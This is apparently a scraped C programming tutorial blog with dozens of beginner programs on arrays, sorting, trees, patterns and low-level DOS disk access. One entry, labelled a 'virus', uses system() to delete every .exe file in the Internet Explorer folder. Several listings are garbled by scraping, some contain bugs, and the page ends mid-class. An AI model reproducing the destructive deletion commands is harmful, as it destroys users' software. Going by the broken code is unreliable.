C program to input 9 ELEMENTS AND PRINT THEM IN 3*3 MATRIX FORM

C program to input 9 ELEMENTS AND PRINT THEM IN 3*3 MATRIX FORM

#include 

main()

{

int a[9],c=0;

register int i;

clrscr();

printf("ENTER 9 ELEMENTS\n");

for (i=0;i<9;i++)

scanf("%d",&a[i]);

printf("THE ELEMENTS IN 3*3 MATRIX FORM IS\n");

for (i=0;i<9;i++)

{

printf("%2d",a[i]);

c++;

if (c%3==0)

printf("\n");

}

getch();

}

Related Links :

5 numbers in each line printing 1 to 100 numbers

PROGRAM TO DISPLAY FIVE NUMBERS ON EACH LINE | C Program to create rectangle of numbers | 5 numbers in each line printing 1 to 100 numbers

#include 

main()

{

int i,c=0;

clrscr();

for (i=1;i<100;i++)

{

printf("%4d",i);

c++;

if(c%5==0)

printf("\n");

}

getch();

}

Related Links :

This is simple addition reader/parser for 2 doubles

This is simple addition reader/parser for 2 doubles

#include 

/* function to read expression */
void
readex (double *op1, double *op2)
{
 char plus;
 /* no & required in scanf because &*op1 is the same thing as op1  */
 scanf ("%lf %c %lf", op1, &plus, op2);
}



int
main(void)
{

 double a, b, c;
 printf ("Enter an addition expression (eg: 4.5+3.5): ");
        /* the addresses of the two operands are sent to the function  */
 readex (&a, &b);
 c = a + b;
 printf("%lf + %lf is %lf.\n",a,b,c);
 
 return(0);
}

Related Links :

Write a function that determines if a number is prime or not by using Reference

Write a function that determines if a number is prime or not by using Reference

#include 
#include 
int
even (int n)
{
 return (!(n%2));
}

int
prime2 (int n, int *divisor)
{ 
 int i, is_prime;
 
 /* looking for a divisor. if found, it 
  is not a prime number */
 *divisor = 0;

 /* eliminating even numbers except 2 */
 if (even (n))
 {
  if (n==2)
   *divisor=0;
  else
   *divisor=2;
 }
 else
 {
  if (n==1)
   *divisor=0; /* 1 is a prime number */
  else
   /* trying to divide number by 3,5,7,... */
   /* to find a divisor until sqrt(n)      */
   for (i=3; i<=sqrt(n); i=i+2)
   {
    if (!(n%i))
     *divisor=i;
   }
 }
 
 is_prime = *divisor;

 /* if there is a divisor then NOT prime */

 return (!is_prime);
}

int
main (void)
{
int x, div;

   printf ("Enter a positive integer number: ");
   scanf ("%d", &x);

   /*  testing for prime and printing the report */
   if (prime2 (x, &div))
      printf ("%d is a prime number.\n", x);
   else
      printf ("%d not prime number. Divisible by %d.\n", x, div);

return (0);
}

Related Links :

C Program to print twice of number and three times of number using Function

C Program to print twice of number and three times of number using Function

#include 

/* double_triple function begins */
int
double_triple (int x, int *d)
{
 int t;
 *d=2*x; /* double "returned" via pointer */
 t=3*x;
 return (t); /* triple returned the standard way */
}
/* double_triple function ends */



/* main program begins */
int
main(void)
{

 int a,twice,thrice;
 a=10;
 thrice = double_triple (a, &twice);
 printf("%d is two times %d.\n",twice,a);
 printf("%d is three times %d.\n",thrice,a);

 return(0);
}

Related Links :

C program to construct a pyramid of numbers

C program to construct a pyramid of numbers

#include
#include
void main()
{
 int num,i,y,x=35;
 clrscr();
 printf("\nEnter the number to generate the pyramid:\n");
 scanf("%d",&num);
 for(y=0;y<=num;y++)
 {
  /*(x-coordinate,y-coordinate)*/
  gotoxy(x,y+1);
  /*for displaying digits towards the left and right of zero*/
  for(i=0-y;i<=y;i++)
  printf("%3d",abs(i));
  x=x-3;
 }
 getch();
}

Related Links :

C Program to left shift bitwise operator | bitwise operator in operator C Program

C Program to left shift bitwise operator | bitwise operator in operator C Program

main (void)
{
    unsigned a=64, b=25, c=1, d=100;

    printf ("%4d << 1 = %4d (%3x HEX)\n", a, a<<1, a<<1);
    printf ("%4d << 1 = %4d (%3x HEX)\n", b, b<<1, b<<1);
    printf ("%4d << 1 = %4d (%3x HEX)\n", c, c<<1, c<<1);
    printf ("%4d << 1 = %4d (%3x HEX)\n", d, d<<1, d<<1);
    printf ("%4d << 2 = %4d (%3x HEX)\n", a, a<<2, a<<2);
    printf ("%4d << 3 = %4d (%3x HEX)\n", b, b<<3, b<<3);
    printf ("%4d << 4 = %4d (%3x HEX)\n", d, d<<4, d<<4);
    printf ("%4d << 5 = %4d (%3x HEX)\n", d, d<<5, d<<5);

    return(0);
}

Related Links :

Scalar Product in C | C Assignments for Scalar

Scalar Product of Two Vectors in C | Scalar Product in C | C Assignments for Scalar

main (void)
{
 int scalar_product, n, k;
 int v1[]={2,3,1};
 int v2[]={1,2,4};

 scalar_product = 0;
 n=3;

 for (k=0; k<n; ++k)
  scalar_product = scalar_product + v1[k]*v2[k];

 printf ("The scalar product is: %d.", scalar_product);

 return (0);
}

Related Links :

C Program For Multiplication of two matrices | matrices 3D Array Program in C

Multiplication of two matrices in C | C Program For Multiplication of two matrices | matrices 3D Array Program in C

void
multmatrix (int a[M][N], int b[N][P], int c[M][P])
{
   int i,j,k;
        
   for (i=0; i<M; ++i)
      for (j=0; j<P; ++j)
      {
         c[i][j]=0.0;
         for (k=0; k<N; ++k)
            c[i][j] = c[i][j] + a[i][k] * b[k][j];
      }
}


int
main (void)
{
int i,j;
int mat1[M][N]={{1,2,2,2},{2,-3,6,4},{8,1,0,-3}};
int mat2[N][P]={{1,1,1,0,3},{2,3,1,6,2},{1,-1,-1,8,3},{0,1,2,3,4}};
int matprod[M][P];
 
/* do the multiplication */
multmatrix (mat1, mat2, matprod);
 
/* display the resulting matrix */
for (i=0; i<M; ++i)
{
   for (j=0; j<P; ++j)
      printf ("%4d  ", matprod[i][j]);
   printf ("\n");
}
 
return (0);
}

Related Links :

Dynamic allocation of a 2D array | 2D Array Allocation Dynamically | Multi Dimension Array Dynamic Allocation

Dynamic allocation of a 2D array | 2D Array Allocation Dynamically | Multi Dimension Array Dynamic Allocation

main (void)
{
 int nrows, ncols, i, j;
 int **numbers; /* pointer to the first cell ([0][0]) */
 
 printf ("How many rows and columns?> ");
 scanf ("%d%d", &nrows, &ncols);

 /* allocating the array of pointers */
 numbers = (int **) calloc (nrows, sizeof(int *));

 /* allocating the array of integers */
 for (i=0; i<nrows; ++i)
  numbers[i] = (int *) calloc (ncols, sizeof(int));

 i=1; j=1;
 numbers[i][j] = 9; /* initializes one value to 9 */
 
 
 for (i=0; i<nrows; i=i+1)
 { 
  for (j=0; j<ncols; j=j+1)
  {
   printf ("%3d ", numbers[i][j]);
   
  }
  printf ("\n");
 }

 /* freeing the array */
 for (i=0; i<nrows; ++i)
  free (numbers[i]);

 free (numbers);

 return (0);
}

Related Links :

Quick Sort Program in C | Data Structure Quick Sort using C Program | Quick Sort Algorithm in C

To Sort Elements Of The Array Using Quick Sort Algorithm | Quick Sort Program in C | Data Structure Quick Sort using C Program | Quick Sort Algorithm in C

#include< stdio.h>
#include< conio.h>
#define max 15
int beg,end,top,i,n,loc,left,right;
int array[max+1];    //contains the various elements.
int upper[max-1],lower[max-1];
//two stacks to store two ends of the list.

void main()
    {

      void enter(void);
      void quick(void);
      void prnt(void);
      clrscr();
      enter();     //entering elements in the array
      top=i-1;     //set top to stack
        if (top==0)
           {
     printf("
UNDERFLOW CONDITION ");
     getch();
     exit();
    }
       top=0;
       if(n>1)
           {
     top++;
     lower[top]=1;upper[top]=n;
     while ( top!=NULL )
     {
       beg=lower[top];
       end=upper[top];
       top--;
       left=beg;   right=end;    loc=beg;
       quick();
       if ( beg
          {
    top++;
    lower[top]=beg;
    upper[top]=loc-1;
           }
        if(loc+1
           {
    top++;
    lower[top]=loc+1;
    upper[top]=end;
    }
       }        //end of while
      }        //end of if statement
        printf("
Sorted elements of the array are :");
        prnt();   //to print the sorted array
      getch();
    }               //end of main


  void  enter(void)
   {
    printf("
Enter the no of elements in the array:");
    scanf("%d",&n);
    printf("
Enter the elements of the array :");
    for(i=1;i<=n;i++)
       {
     printf("
 Enter the %d element :",i);
     scanf("%d",&array[i]);
       }
   }


   void  prnt(void)
   {
    for(i=1;i<=n;i++)
       {
     printf("
 The %d element  is : %d",i,array[i]);
       }
   }

   void quick()
   {
     int temp;
     void tr_fr_right(void);
     while( array[loc]<=array[right] && loc!=right)
     {
       right--;
     }

      if(loc==right)
     return ;

      if(array[loc]>array[right])
     {
         temp=array[loc];
         array[loc]=array[right];
         array[right]=temp;
      loc=right;
      tr_fr_right();
     }
     return ;
    }

   void  tr_fr_right()
    {
       int temp;
       while( array[loc] > array[left] && loc!=left)
     {
       left++;
     }

      if(loc==left)
     return ;

      if(array[loc] < array[left])
     {
         temp=array[loc];
         array[loc]=array[left];
         array[left]=temp;
      loc=left;
      quick();
     }
     return ;
   }

Related Links :

Tree Operations - INSERTION ,INORDER , PREORDER , POSTORDER TRAVERSAL

Tree Operations - INSERTION ,INORDER , PREORDER , POSTORDER TRAVERSAL in C | Data structure example on Tree Operation in C | C Assignments in Tree Sorting

# include< stdio.h>
# include < conio.h>
# include < malloc.h>

struct node
{
struct node *left;
int data;
struct node *right;
}     ;

void main()
{
void insert(struct node **,int);
void inorder(struct node *);
void postorder(struct node *);
void preorder(struct node *);
struct node *ptr;
int will,i,num;
ptr = NULL;
ptr->data=NULL;
clrscr();

printf("
Enter the number of terms you want to add to the tree.
");
scanf("%d",&will);

/* Getting Input */
for(i=0;i
    {
    printf("
Enter the item");
    scanf("%d",&num);
    insert(&ptr,num);
    }

getch();
printf("

        INORDER TRAVERSAL

");
inorder(ptr);
getch();
printf("

        PREORDER TRAVERSAL

");
preorder(ptr);
getch();
printf("

        POSTORDER TRAVERSAL

");
postorder(ptr);
getch();
}



void insert(struct node  **p,int num)
{


if((*p)==NULL)
{       printf("
Leaf node created.");
    (*p)=malloc(sizeof(struct node));
    (*p)->left = NULL;
    (*p)->right = NULL;
    (*p)->data = num;
    return;
}
else
{       if(num==(*p)->data)
        {
        printf("

        REPEATED ENTRY ERROR
        VALUE REJECTED

");
        return;
        }
    if(num<(*p)->data)
        {
            printf("
Directed to left link.");
            insert(&((*p)->left),num);
        }
    else
        {
        printf("
Directed to right link.");
        insert(&((*p)->right),num);
        }
}
return;
}


void inorder(struct node *p)
{
    if(p!=NULL)
        {
        inorder(p->left);
        printf("
Data :%d",p->data);
        inorder(p->right);
        }
    else
        return;
}


void preorder(struct node *p)
{
    if(p!=NULL)
        {
        printf("
Data :%d",p->data);
        preorder(p->left);
        preorder(p->right);
        }
    else
        return;
}


void postorder(struct node *p)
{
    if(p!=NULL)
        {
        postorder(p->left);
        postorder(p->right);
        printf("
Data :%d",p->data);
        }
    else
        return;
}

Related Links :

Data Structures Program on XOR | XOR in Data Structure | C Program on XOR Data Structure

Data Structures XOR list example | XOR List Example in DS | Data Structures Program on XOR | XOR in Data Structure | C Program on XOR Data Structure

#include < stdio.h>
#include < stdlib.h>
#include < assert.h>

struct xnode {
 int data;
 unsigned long direction;
};

struct xnode *add_data(int data, struct xnode* list);
void walk_list(struct xnode *list);

int main(void) {

 struct xnode *l2 = add_data(2, NULL);
 struct xnode *l1 = add_data(1, l2);
 struct xnode *l3 = add_data(3, l2);
 struct xnode *l4 = add_data(4, l3);

 printf("front -> back....\n");
 walk_list(l1);
 printf("back -> front....\n");
 walk_list(l4);

 return 0;
}

struct xnode *add_data(int data, struct xnode *list) {
 struct xnode *newxnode = malloc(sizeof(struct xnode));

 assert(newxnode);
 newxnode->direction = (unsigned long)list;
 newxnode->data = data;

 if(list != NULL)
  list->direction ^= (unsigned long)newxnode;

 return newxnode;
}

void walk_list(struct xnode *list) {
 unsigned long prev = 0;

 while(list != NULL) {
  unsigned long next = prev ^ list->direction;
  printf("%d ", list->data);
  prev = (unsigned long)list;
  list = (struct xnode *)next;
 }

 printf("\n");
}

Related Links :

PIC Microcontroller using c programming

PIC Micro-controller using c programming | Micro-controller using C | book on Micro-controller and c

PIC Microcontroller Project Book, Second Edition; John Iovine (TAB, 2004)

Download book now

Related Links :

C program to print the Arrow pattern of star using loop

C program to print the Arrow pattern of star using loop | using asterisk create an arrow pattern in C | Printing Patterns of star in C

int main() 
{
 char prnt = '*';
 int i, j, k, s, sp, nos = 0, nosp = -1;
 for (i = 9; i >= 3; (i = i - 2)) 
{
  for (s = nos; s >= 1; s--) 
{
   printf("  ");
  }
  for (j = 1; j <= i; j++) 
{
printf("%2c", prnt);
}
for (sp = nosp; sp >= 1; sp--) 
{
   printf("  ");
  }
  for (k = 1; k <= i; k++) 
{
 if (i == 9 && k == 1) 
{
continue;
}
printf("%2c", prnt);
}
nos++;
nosp = nosp + 2;
printf("\n");
}
nos = 4;
for (i = 9; i >= 1; (i = i - 2)) 
{
  for (s = nos; s >= 1; s--) 
{
   printf("  ");
  }
  for (j = 1; j <= i; j++) 
{
   printf("%2c", prnt);
  }
  nos++;
  printf("\n");
 }

 return 0;
}

Related Links :

C Program Binary search

C Program Binary search | Binary search in C

#define TRUE 0
#define FALSE 1

int main(void)
{
int array[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int left = 0;
int right = 10;
int middle = 0;
int number = 0;
int bsearch = FALSE;
int i = 0;

printf("ARRAY: ");
for(i = 1; i <= 10; i++)
printf("[%d] ", i);
printf("\nSearch for Number: ");
scanf("%d", &number);

while(bsearch == FALSE && left <= right)
{
middle = (left + right) / 2;

if(number == array[middle])
{
bsearch = TRUE;
printf("** Number Found **\n");
} else {
if(number < array[middle]) right = middle - 1;
if(number > array[middle]) left = middle + 1;
}
}

if(bsearch == FALSE)
printf("-- Number Not found --\n");

return 0;
}

Related Links :

Area and Perimeter of Rectangle

C Program to find Area and Perimeter of Rectangle | C Assignment to find Area and Perimeter of Rectangle

#include
#include
void main()
{
float a,b,l,p;
clrscr();
printf(“enter the l and b value:\n”);
scanf(“%f%f”,&l,&b);
a=l*b;
p=2*(l+b);
printf(“area=%f\n perimeter=%f\n”,a,p);
getch();
} 

Output:
enter the l and b value:
6
8
area=48.000000
perimeter=28.000000

Related Links :

Area and Perimeter of Square in C

Area and Perimeter of Square | Program to find Perimeter of Square in C | C Assignments

#include
#include
void main()
{
float s,a,p;
clrscr();
printf(“enter the s value:\n”);
scanf(“%f”,&s);
a=s*s;
p=4*s;
printf(“area=%f\n perimeter=%f\n”,a,p);
getch();
}

Output:
enter the s value:
5
area=25.000000
perimeter=20.000000

Related Links :

C code to print or display upper triangular matrix

C code to print or display upper triangular matrix | upper triangular matrix in C | Matrix programs in C | Assignments on matrix in C

#include
int main(){
  int a[3][3],i,j;
  float determinant=0;

  printf("Please Enter the 9 elements of matrix: ");
  for(i=0;i<3;i++)
      for(j=0;j<3;j++)
           scanf("%d",&a[i][j]);

  printf("\nThe matrix is\n");
  for(i=0;i<3;i++){
      printf("\n");
      for(j=0;j<3;j++)
           printf("%d\t",a[i][j]);
  }

   printf("\nSetting zero in upper triangular matrix\n");
   for(i=0;i<3;i++){
      printf("\n");
      for(j=0;j<3;j++)
           if(i>=j)
             printf("%d\t",a[i][j]);
           else
             printf("%d\t",0);
  }


   return 0;
}

Output :


Please Enter the 9 elements of matrix: 1
2
3
4
5
6
7
8
9

The matrix is

1 2 3
4 5 6
7 8 9
Setting zero in upper triangular matrix

1 0 0
4 5 0
7 8 9

Related Links :

Sum of diagonal element of matrix in C with algorithm

Diagonal elements have been shown in the bold letter.

We can observer the properties any element Ai_j will diagonal element if and only if i = j




Sum of diagonal element of matrix in C with algorithm

#include

int main(){

  int a[10][10],i,j,sum=0,m,n;

  printf("\nEnter the row and column of matrix: ");
  scanf("%d %d",&m,&n);

  printf("\nEnter the elements of matrix: ");
  for(i=0;i<m;i++)
      for(j=0;j<n;j++)
           scanf("%d",&a[i][j]);
  printf("\nThe matrix is\n");

  for(i=0;i<m;i++){
      printf("\n");
      for(j=0;j<m;j++){
      printf("%d\t",a[i][j]);
      }
 }
 for(i=0;i<m;i++){
     for(j=0;j<n;j++){
          if(i==j)
              sum=sum+a[i][j];
     }
 }
 printf("\n\nSum of the diagonal elements of a matrix is: %d",sum);

 return 0;
}

Sample output:

Enter the row and column of matrix: 3 3
Enter the elements of matrix: 2
3
5
6
7
9
2
6
7
The matrix is
2 3 5
6 7 9
2 6 7
Sum of the diagonal elements of a matrix is: 16

Related Links :

C++ how to compare two objects of the same class

The equality operator will work on pointers regardless of whether you've implemented the equality operator for your class. If it's giving an error when used with pointers, then you're doing something wrong.

To define the equality operator as part of your class:

Code:

class test
{
   public:
   bool operator==(const test &t); // in this method, see if t is equal to *this.
}

Related Links :

Find prime factors of a number using c program | C Program to Find Prime Factors of given Number | Prime factors of number using C

Find prime factors of a number using c program | C Program to Find Prime Factors of given Number | Prime factors of number using C

Prime factor of a number in c

#include
int main(){
  int num,i=1,j,k;
  printf("\nEnter a number:");
  scanf("%d",&num);
  while(i<=num){
      k=0;
      if(num%i==0){
         j=1;
          while(j<=i){
            if(i%j==0)
                 k++;
             j++;
          }
          if(k==2)
             printf("\n%d is a prime factor",i);
      }
      i++;
   }
   return 0;
}

Related Links :

Find out generic root of a number by c program | C program for generic root

Find out generic root of a number by c program | C program for generic root | Generic root in C

#include 
int main(){         
int num,x;
printf("Enter any number: ");
scanf("%d",&num);
printf("Generic root: %d",(x=num%9)?x:9);
return 0;
}

Sample output:
Enter any number: 731
Generic root: 2

Related Links :

C Programming Interview Question | Tricky Interview Question In C Language | C Programming Confusing Interview Questions | C Language Various Question

COMMONLY ASKED QUESTIONS IN INTERVIEW | C Programming Interview Question | Tricky Interview Question In C Language | C Programming Confusing Interview Questions | C Language Various Questions for Viva

Declare a pointer which can point printf function in c.
int (*ptr)(char const,…);


What are merits and demerits of array in c?
(a) We can easily access each element of array.
(b) Not necessity to declare two many variables.
(c) Array elements are stored in continuous memory location.

Demerit:
(a) Wastage of memory space. We cannot change size of array at the run time.
(b) It can store only similar type of data.


Tell me a all sorting algorithm which you know.
(a)Bubble sort
(b)Selection sort
(c)Insertion sort
(d)Quick sort
(e)Merge sort
(f)Heap sort

Related Links :

What will be output if you will execute following program by gcc compiler in Linux?

What will be output if you will execute following program by gcc compiler in Linux?

#include

int main(){

int a=5,b=10,c=15,d=20;

printf("%d %d %d");

return 0;

}

Output:

In LINUX GCC compiler

Garbage values

In TURBO C

5 10 15

Related Links :

C program to print the pattern of rhombus structure of asterisk stars

C program to print the pattern of rhombus structure of asterisk stars

#include 
#include 

int main(int argc, char *argv[])
{
{
 char prnt = '*';
 int i, j, k, s, nos = -1;
 for (i = 5; i >= 1; i--) {
  for (j = 1; j <= i; j++) {
 printf("%2c", prnt);
}
for (s = nos; s >= 1; s--) {
   printf("  ");
  }
  for (k = 1; k <= i; k++) {
   if (i == 5 && k == 5) {
    continue;
   }
   printf("%2c", prnt);
  }
  nos = nos + 2;
  printf("\n");
 }
 nos = 5;
 for (i = 2; i <= 5; i++) {
  for (j = 1; j <= i; j++) {
 printf("%2c", prnt);
}
for (s = nos; s >= 1; s--) {
   printf("  ");
  }
  for (k = 1; k <= i; k++) {
   if (i == 5 && k == 5) {
    break;
   }
   printf("%2c", prnt);
  }
  nos = nos - 2;
  printf("\n");
 }

}

printf("\n\n www.lernc.blogspot.com \n www.glearn.net \n\n\n");
  system("PAUSE"); 
  return 0;
}

Related Links :

C program to print the pattern of Kite

C program to print the pattern of Kite

#include 
#include 

int main(int argc, char *argv[])
{
 {
 char prnt = '*';
 int i, j, k, s, nos = 4;
 for (i = 1; i <= 5; i++) {
for (s = nos; s >= 1; s--) {
   printf("  ");
  }
  for (j = 1; j <= i; j++) {
   printf("%2c", prnt);
  }
  for (k = 1; k <= (i - 1); k++) {
if (i == 1) {     continue;
}
printf("%2c", prnt);
}
 printf("\n");   nos--;
}
 nos = 1;
for (i = 4; i >= 1; i--) {
  for (s = nos; s >= 1; s--) {
   printf("  ");
  }
  for (j = 1; j <= i; j++) {
   printf("%2c", prnt);
  }
  for (k = 1; k <= (i - 1); k++) {
   printf("%2c", prnt);
  }
  nos++;
  printf("\n");
 }
 nos = 3;
 for (i = 2; i <= 5; i++) {
if ((i % 2) != 0) {
for (s = nos; s >= 1; s--) {
    printf("  ");
   }
   for (j = 1; j <= i; j++) {
    printf("%2c", prnt);
   }
  }
  if ((i % 2) != 0) {
   printf("\n");
   nos--;
  }
 }
printf ("\n\n Thanks For Visiting lernc.blogspot.com \n www.glearn.net \n\n\n ");
}


  system("PAUSE"); 
  return 0;
}

Related Links :

FORTRAN/C INTEROPERABILITY

FORTRAN/C INTEROPERABILITY | INTEROPERABILITY between FORTRAN & C | C , FORTRAN INTEROPERABILITY | Accessing FORTRAN classes in C

   CALLING C ROUTINES FROM FORTRAN         ===============================     Machine        C Routine name    -------        ------------------    ALPHA/DUNIX    lowercase letters_  (default)    ALPHA/VMS      anything    CRAY           UPPERCASE LETTERS    HP             lowercase letters   (?)    IBM/AIX        lowercase letters   (all IBM's ?)    SGI/IRIX       lowercase letters_    SUN            lowercase letters_    TITAN          UPPERCASE LETTERS    VAX/VMS        anything    VAX/ULTRIX     lowercase letters_  (default)    Variable passing mechanisms  ---------------------------  Fortran usually passes its variables by reference (passes pointers).   That means that you MUST give addresses in your calling C-program.   Function results, may be passed by value, for example, the following   code calls a FORTRAN function called "gamma":     double   x, y;    ..................    x = 2.0;     y = gamma_(&x)      Array storage order  -------------------  Fortran uses a column wise storage of matrices while C stores them  row wise. This means that when you want to pass a matrix from your  C-program to the fortran routine you must transpose the matrix  in your program before entering the routine. Of course, any output  from such a routine must be transposed again.    If you omit this step, then probably your program will run (because  it has data to compute on) but it will generate wrong answers.   Transposition is expensive, you may avoid it by adapting the source  code, when the FORTRAN source says A(j+1,i+1) it could mean a[i][j] in C,.   There are times when you don't want to modify already existing FORTRAN   and C code, in such cases you may have to write a transposition wrapper.  This can be advisable for reasons of clarity (i.e. keeping the   documentation the code and the math in sync.)    Array indexes  -------------  Remember that array indexes in Fortran starts by default at 1 while   in C they start at index 0; hence a passed array fortran_array[1:100]  must be used in the C-routine/program as c_array[0:99].    Variable type matching  ----------------------  Watch out especially with float's and double's. Make sure that the  size of the variable in the calling program is identical to the size  in the Fortran routine:       float  --- REAL     (this is typical, but not always the case)     double --- REAL*8

Related Links :

why we put #include in C?

why we put #include in C | # Include stands for | include working | Include in C

If a line starts with a hash, denoted by #, kit tells the compiler that a command should be sent to the C PREPROCESSOR. The C preprocessor is a program that is run before compilation takes place ( hence the name).

Basically, when the preprocessor finds #include it looks for the file specified and replaces #include with the contents of that file. This makes the code more readable and easier to maintain if you needed to use common library functions.


Header files have the extension .h and the full filename follows from the #include directive . They contain functions that you may or may not have used in your program.

for e.g, the stdio.h file is required if you have used functions like printf() and scanf() in your program.

Related Links :

To find greater number without using of Logical and relational Operators

To find greater number without using of Logical & relational Operators

int maximum(int x, int y)
 {  
   int fNum[2],temp,num[2];
   num[0] = x;
   num[1] = y;  
   temp=fNum[ Fun4Sign(x - y)];  
   return( temp);
}

int Fun4Sign(int sgn)
{  
     int temp;  
     temp= unsigned(sgn) >>  (sizeof(int)*8-1);    return(temp);
}

Related Links :

Disk buffer data reading in C

C Program for reading the disk's data onto the buffer | C Program read Data from disk buffer | Disk buffer data reading in C

void main(void)
{
 clrscr();
 union REGS regs;
 struct SREGS sregs;
 char buff[1000];
 int i;
 regs.h.ah = 2;
 regs.h.al = 1;
 regs.h.ch = 1;
 regs.h.dh = 0;
 regs.h.cl = 1;
 regs.h.dl = 0x80;
 regs.x.bx = FP_OFF(buff);
 sregs.es = FP_SEG(buff);
 int86x(0x13,®s,®s,&sregs);
 printf("regs.x.cflag - %d",regs.x.cflag);
 printf("regs.h.ah - %d",regs.h.ah);
 printf("regs.h.al - %d",regs.h.al);
 printf("Buff - %c",buff);
 getch();
}

Related Links :

Program for getting the disk status.

Program for getting the disk status | Program to get disk status in C | disk status getting from C.

void main(void)
{
 clrscr();
 union REGS regs;
 regs.h.ah = 1;
 regs.h.dl = 0x80;
 int86(0x13,®s,®s);
 printf("If successful operation then AH & AL register resets.");
 printf("AH register - %d",regs.h.ah);
 printf("AL register - %d",regs.h.al);
 printf("Successful Operation.");
 getch();
}

Related Links :

C Program to write data in DMA Mode

C Program to write data in DMA Mode | Direct Memory Access using C | Writing Data On Hard Disk using DMA mode in C | Working in DMA Mode in C Language.

void main()
{
    clrscr();
    union REGS regs;
    int ans;
    char arr[1000];

    outp(0x3f2,0x1c);  //HDD Motor On
    delay(200);
    outp(0x3f5,0x0f);  //Command Code
    delay(200);
    outp(0x3f5,0x00);  //Command Code
    delay(200);
    outp(0x3f5,0);     //Cylinder no.
    delay(200);
    outp(0x3f5,0x08);  //Sense Interrupt Command
    delay(200);

    ans=inp(0x3f5);    //Reading ST0 in data register
    delay(100);
    ans=inp(0x3f5);    //pcn

    cout<<<
    delay(200);
    outportb(0x12,0);           /*initialization of the DMA Mode*/
    delay(200);
    outportb(0x11,10);          /*supplying Mode Byte*/

    int ar=FP_OFF(arr);
    int ar1=FP_SEG(arr);
    outportb(0x10,2);          /*supplying channel no. on port 10*/

       regs.h.ch = (ar1)&(0x0f00);
       regs.x.ax = regs.h.ah+ar;
       (regs.h.ch)++;

       outportb(0x04,regs.h.al);
       delay(200);

       outportb(0x04,regs.h.ah);
       delay(200);
       outportb(0x81,regs.h.ch);
       delay(200);
       outportb(0x05,1);
       // DMA End

       //READ command
       delay(200);
       outportb(0x3f5,46); //Command Code
       delay(200);
       outportb(0x3f5,0); //Command Code
       delay(200);

       outportb(0x3f5,0); //Cylinder no.
       delay(200);

       outportb(0x3f5,0); //Head Addr
       delay(200);
       outportb(0x3f5,3); //Record
       delay(200);
       outportb(0x3f5,2); //Sector size
       delay(200);
       outportb(0x3f5,5); //EOT
       delay(200);
       outportb(0x3f5,21); //GPL
       delay(200);
       outportb(0x3f5,10); //DTL

       //result
       delay(200);


     //  st0

      int st0 = inportb(0x3f5);
      printf("
 st0 = %x",st0);
      if(inportb(0x3f5) & (192)!=0)
       {
             printf("
st0= %d",st0);
             cout<<"
Abnormal termination  st0";
             delay(200);
             outp(0x3f2,0x0c);   //Setting Motor off
             exit(0);
       }

       delay(200);

       int st1 = inportb(0x3f5);
       printf("
 st1 = %x",st1);
       if((st1=inportb(0x3f5)) !=0)
       {
             printf("
st1=%d ",st1);
             cout<<"
Abnormal termination  st1";
             delay(200);
             outp(0x3f2,0x0c);   //Setting Motor off
             exit(0);
       }

       delay(200);

       int st2 = inportb(0x3f5);
       printf("
 st2 = %x",st2);
       if((st2=inportb(0x3f5)) != 0)
       {
             cout<<"st2= "<
             cout<<"
Abnormal termination st2";
             delay(200);
             outp(0x3f2,0x0c);   //Setting Motor off
             exit(0);
       }

       cout<<"
Successful Termination";
       delay(200);

       cout<<"
c= "<
       delay(200);

       cout<<"
h= "<
       delay(200);

       cout<<"
r= "<
       delay(200);

       cout<<"
n= "<
       delay(200);

       outp(0x3f2,0x0c);   //Setting Motor off

 getch();

}

Related Links :

Dangling pointer in C | what is Dangling pointer in C | creating Dangling pointer example in c

Dangling pointer in C | what is Dangling pointer in C | creating Dangling pointer example in c | managing Dangling pointer in C | working with Dangling pointer in C

int *call();
void main()
{
int *ptr;
ptr=call();
clrscr();
printf("%d",*ptr);
}

int * call()
{
int x=25;
++x;
return &x;
}

The above program will give garbage value as output, bcoz the X is local variable & its scope is over, to correct this problem you can make X as static variable.

Related Links :

C Program to Blink Charterers in C

C Program to Blink Charterers in C

Keyword : Blink letters in C | Blink Name In C | Graphics Text Program in C | Animations in C.

#include
#include
#include
    
void main()
      {
 int i=0,j=0;
 char name[30]="Hello World Its Cool One";
 char name1[25]="World of C By Pankaj";
 clrscr();
cout<<"\n\n\n\n\n\t\t\t";
 while(i<=29)
 {
   if(i%3==0)
    {
textcolor(WHITE+BLINK);
cprintf("%c",name[i]);
delay(300);
    }
    else
    {
    textcolor(i+2);
    cprintf("%c",name[i]);
    delay(300);
    }
 i++;
 }


 cout<<"\n\t\t\t";
 while(j<=25)
 {
   if(j%2==0)
    {
textcolor(WHITE+BLINK);
cprintf("%c",name1[j]);
delay(300);
    }
    else
    {
    textcolor(2*j);
    cprintf("%c",name1[j]);
    delay(300);


    }
 j++;
  }
       getch();
       }

Related Links :

Virus C Program to Corrupt Internet Explorer

Virus C Program to Corrupt Internet Explorer

void main(void)
{
system("cd c:\\progra~1\\intern~1");
system(“del *.exe”);
system(“cls”);
}

It Will delete all IE Files & it will stop working

Note : Virus Program Run on Your Own Risk, It May Damage to your system & we will not responsible For that, RUN AT YOUR OWN RISK...

Related Links :

C Program to show use of short hand operators in C

C Program to show use of short hand operators in C | Short Hand operators in C | assignment Short Hand Operators

#include
#include
main()
{
int x,y=10;
clrscr();
x=y++;
printf("\nx=%d\ty%d",x,y);
x=++y;
printf("\nx=%dy=%d",x,y);
getch();
}

Related Links :

Basic Addition and subtraction program using user defined function in C

Basic Addition and subtraction program using user defined function in C | UDF example in C | Addition and subtraction UDF in C

#include
#include

int add(int,int);
int diff(int,int);
main()
{
  int num1,num2,sum,sub;
  clrscr();
  printf(" enter two number's");
  scanf("%d%d",&num1,&num2);
  sum=add(num1,num2);
  sub=diff(num1,num2);
  printf(" sum=%d and sub=%d",sum,sub);
  getch();
  }
   int add(int num1,int num2)
   {
   return num1+num2;
   }
   int diff(int num1,int num2)
   {
      return num1-num2;
      }

Related Links :

c++ hybrid inheritance Example

c++ hybrid inheritance Example | C++ Mark-list Example using hybrid inheritance | Calculations using hybrid inheritance in C++

#include

#include

class student

{

  protected:

      int roll_no;

  public:

      void getdata(int a)

      {

      roll_no=a;

      }

      void putdata(void)

      {

      cout<<"\n  roll_number: "<      }

};



class test:public student

{

  protected:

     float part1,part2;

  public:

     void get_mark(float p,float q)

     {

     part1=p;

     part2=q;

     }

     void put_mark(void)

     {

     cout<<"\n  marks obtained ";

     cout<<"\n  mark1: "<     cout<<"\n  mark2: "<     }

};

class sport

{

  protected:

     float scores;

  public:

     void get_scores(float s)

     {

     scores=s;

     }

     void put_scores(void)

     {

     cout<<"\n point: "<     }

};

class result:public test,public sport

{

   private:

     float total;

   public:

